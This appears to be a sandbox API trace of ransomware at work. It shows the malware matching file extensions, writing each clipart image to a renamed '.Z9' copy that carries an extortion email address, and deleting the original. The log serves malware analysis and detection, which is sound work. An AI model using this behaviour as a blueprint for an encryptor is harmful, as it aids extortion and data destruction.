	[0097.244] lstrlenW (lpString=".jpg") returned 4
	[0097.244] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0097.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0097.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0097.244] lstrlenW (lpString=".doc") returned 4
	[0097.244] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0097.244] lstrlenW (lpString=".docx") returned 5
	[0097.244] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0097.244] lstrlenW (lpString=".pdf") returned 4
	[0097.244] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0097.244] lstrlenW (lpString=".xls") returned 4
	[0097.244] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0097.244] lstrlenW (lpString=".xlsx") returned 5
	[0097.244] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0097.244] lstrlenW (lpString=".ppt") returned 4
	[0097.244] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0097.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0097.244] lstrlenW (lpString=".zip") returned 4
	[0097.244] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0097.244] lstrlenW (lpString=".rar") returned 4
	[0097.244] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0097.244] lstrlenW (lpString=".bz2") returned 4
	[0097.244] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0097.244] lstrlenW (lpString=".7z") returned 3
	[0097.245] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0097.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0097.245] lstrlenW (lpString=".dbf") returned 4
	[0097.245] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0097.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0097.245] lstrlenW (lpString=".1cd") returned 4
	[0097.245] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0097.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0097.245] lstrlenW (lpString=".jpg") returned 4
	[0097.245] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0097.245] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0097.245] lstrlenW (lpString="J0099155.JPG") returned 12
	[0097.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0097.261] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=8826) returned 1
	[0097.261] CloseHandle (hObject=0x378) returned 1
	[0097.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 0x220
	[0097.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0097.262] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.262] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0097.263] GetLastError () returned 0x0
	[0097.263] ReadFile (in: hFile=0x378, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x227a, lpOverlapped=0x0) returned 1
	[0097.266] WriteFile (in: hFile=0x35c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x2280, lpOverlapped=0x0) returned 1
	[0097.267] ReadFile (in: hFile=0x378, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0097.268] WriteFile (in: hFile=0x35c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0097.268] SetEndOfFile (hFile=0x35c) returned 1
	[0097.268] CloseHandle (hObject=0x35c) returned 1
	[0097.268] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.268] SetEndOfFile (hFile=0x378) returned 1
	[0097.269] CloseHandle (hObject=0x378) returned 1
	[0097.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0097.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 1
	[0097.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0097.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0097.269] lstrlenW (lpString=".doc") returned 4
	[0097.269] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0097.269] lstrlenW (lpString=".docx") returned 5
	[0097.269] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0097.269] lstrlenW (lpString=".pdf") returned 4
	[0097.269] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0097.270] lstrlenW (lpString=".xls") returned 4
	[0097.270] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0097.270] lstrlenW (lpString=".xlsx") returned 5
	[0097.270] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0097.270] lstrlenW (lpString=".ppt") returned 4
	[0097.270] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0097.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0097.270] lstrlenW (lpString=".zip") returned 4
	[0097.270] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0097.270] lstrlenW (lpString=".rar") returned 4
	[0097.270] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0097.270] lstrlenW (lpString=".bz2") returned 4
	[0097.270] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0097.270] lstrlenW (lpString=".7z") returned 3
	[0097.270] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0097.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0097.270] lstrlenW (lpString=".dbf") returned 4
	[0097.270] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0097.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0097.270] lstrlenW (lpString=".1cd") returned 4
	[0097.270] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0097.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0097.270] lstrlenW (lpString=".jpg") returned 4
	[0097.270] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0097.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0097.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0097.270] lstrlenW (lpString=".doc") returned 4
	[0097.270] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0097.270] lstrlenW (lpString=".docx") returned 5
	[0097.270] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0097.270] lstrlenW (lpString=".pdf") returned 4
	[0097.270] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0097.270] lstrlenW (lpString=".xls") returned 4
	[0097.270] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0097.270] lstrlenW (lpString=".xlsx") returned 5
	[0097.270] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0097.271] lstrlenW (lpString=".ppt") returned 4
	[0097.271] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0097.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0097.271] lstrlenW (lpString=".zip") returned 4
	[0097.271] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0097.271] lstrlenW (lpString=".rar") returned 4
	[0097.271] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0097.271] lstrlenW (lpString=".bz2") returned 4
	[0097.271] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0097.271] lstrlenW (lpString=".7z") returned 3
	[0097.271] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0097.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0097.271] lstrlenW (lpString=".dbf") returned 4
	[0097.271] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0097.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0097.271] lstrlenW (lpString=".1cd") returned 4
	[0097.271] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0097.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0097.271] lstrlenW (lpString=".jpg") returned 4
	[0097.271] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0097.271] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0097.271] lstrlenW (lpString="J0099157.JPG") returned 12
	[0097.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0097.271] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=9671) returned 1
	[0097.272] CloseHandle (hObject=0x378) returned 1
	[0097.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 0x220
	[0097.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0097.272] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.272] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0097.272] GetLastError () returned 0x0
	[0097.272] ReadFile (in: hFile=0x378, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x25c7, lpOverlapped=0x0) returned 1
	[0098.120] WriteFile (in: hFile=0x35c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x25d0, lpOverlapped=0x0) returned 1
	[0098.121] ReadFile (in: hFile=0x378, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0098.121] WriteFile (in: hFile=0x35c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0098.121] SetEndOfFile (hFile=0x35c) returned 1
	[0098.121] CloseHandle (hObject=0x35c) returned 1
	[0098.121] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.121] SetEndOfFile (hFile=0x378) returned 1
	[0098.122] CloseHandle (hObject=0x378) returned 1
	[0098.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0098.122] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 1
	[0098.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0098.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0098.123] lstrlenW (lpString=".doc") returned 4
	[0098.123] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0098.123] lstrlenW (lpString=".docx") returned 5
	[0098.123] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0098.123] lstrlenW (lpString=".pdf") returned 4
	[0098.123] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0098.123] lstrlenW (lpString=".xls") returned 4
	[0098.123] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0098.123] lstrlenW (lpString=".xlsx") returned 5
	[0098.123] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0098.123] lstrlenW (lpString=".ppt") returned 4
	[0098.123] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0098.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0098.123] lstrlenW (lpString=".zip") returned 4
	[0098.123] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0098.123] lstrlenW (lpString=".rar") returned 4
	[0098.123] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0098.123] lstrlenW (lpString=".bz2") returned 4
	[0098.123] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0098.123] lstrlenW (lpString=".7z") returned 3
	[0098.123] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0098.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0098.123] lstrlenW (lpString=".dbf") returned 4
	[0098.123] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0098.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0098.123] lstrlenW (lpString=".1cd") returned 4
	[0098.123] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0098.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0098.123] lstrlenW (lpString=".jpg") returned 4
	[0098.123] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0098.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0098.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0098.124] lstrlenW (lpString=".doc") returned 4
	[0098.124] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0098.124] lstrlenW (lpString=".docx") returned 5
	[0098.124] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0098.124] lstrlenW (lpString=".pdf") returned 4
	[0098.124] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0098.124] lstrlenW (lpString=".xls") returned 4
	[0098.124] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0098.124] lstrlenW (lpString=".xlsx") returned 5
	[0098.124] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0098.124] lstrlenW (lpString=".ppt") returned 4
	[0098.124] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0098.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0098.124] lstrlenW (lpString=".zip") returned 4
	[0098.124] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0098.124] lstrlenW (lpString=".rar") returned 4
	[0098.124] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0098.124] lstrlenW (lpString=".bz2") returned 4
	[0098.124] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0098.124] lstrlenW (lpString=".7z") returned 3
	[0098.124] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0098.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0098.124] lstrlenW (lpString=".dbf") returned 4
	[0098.124] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0098.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0098.124] lstrlenW (lpString=".1cd") returned 4
	[0098.124] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0098.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0098.124] lstrlenW (lpString=".jpg") returned 4
	[0098.124] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0098.125] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0098.125] lstrlenW (lpString="J0099166.JPG") returned 12
	[0098.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0098.125] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=64767) returned 1
	[0098.125] CloseHandle (hObject=0x378) returned 1
	[0098.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 0x220
	[0098.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0098.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0098.126] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.126] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0098.126] GetLastError () returned 0x0
	[0098.126] ReadFile (in: hFile=0x378, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xfcff, lpOverlapped=0x0) returned 1
	[0098.129] WriteFile (in: hFile=0x35c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xfd00, lpOverlapped=0x0) returned 1
	[0098.130] ReadFile (in: hFile=0x378, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0098.131] WriteFile (in: hFile=0x35c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0098.131] SetEndOfFile (hFile=0x35c) returned 1
	[0098.131] CloseHandle (hObject=0x35c) returned 1
	[0098.131] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.131] SetEndOfFile (hFile=0x378) returned 1
	[0098.132] CloseHandle (hObject=0x378) returned 1
	[0098.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0098.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 1
	[0098.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0098.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0098.133] lstrlenW (lpString=".doc") returned 4
	[0098.133] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0098.133] lstrlenW (lpString=".docx") returned 5
	[0098.133] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0098.133] lstrlenW (lpString=".pdf") returned 4
	[0098.133] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0098.133] lstrlenW (lpString=".xls") returned 4
	[0098.133] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0098.133] lstrlenW (lpString=".xlsx") returned 5
	[0098.133] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0098.133] lstrlenW (lpString=".ppt") returned 4
	[0098.133] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0098.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0098.133] lstrlenW (lpString=".zip") returned 4
	[0098.133] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0098.133] lstrlenW (lpString=".rar") returned 4
	[0098.133] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0098.133] lstrlenW (lpString=".bz2") returned 4
	[0098.133] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0098.133] lstrlenW (lpString=".7z") returned 3
	[0098.133] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0098.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0098.133] lstrlenW (lpString=".dbf") returned 4
	[0098.133] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0098.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0098.133] lstrlenW (lpString=".1cd") returned 4
	[0098.133] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0098.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0098.133] lstrlenW (lpString=".jpg") returned 4
	[0098.133] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
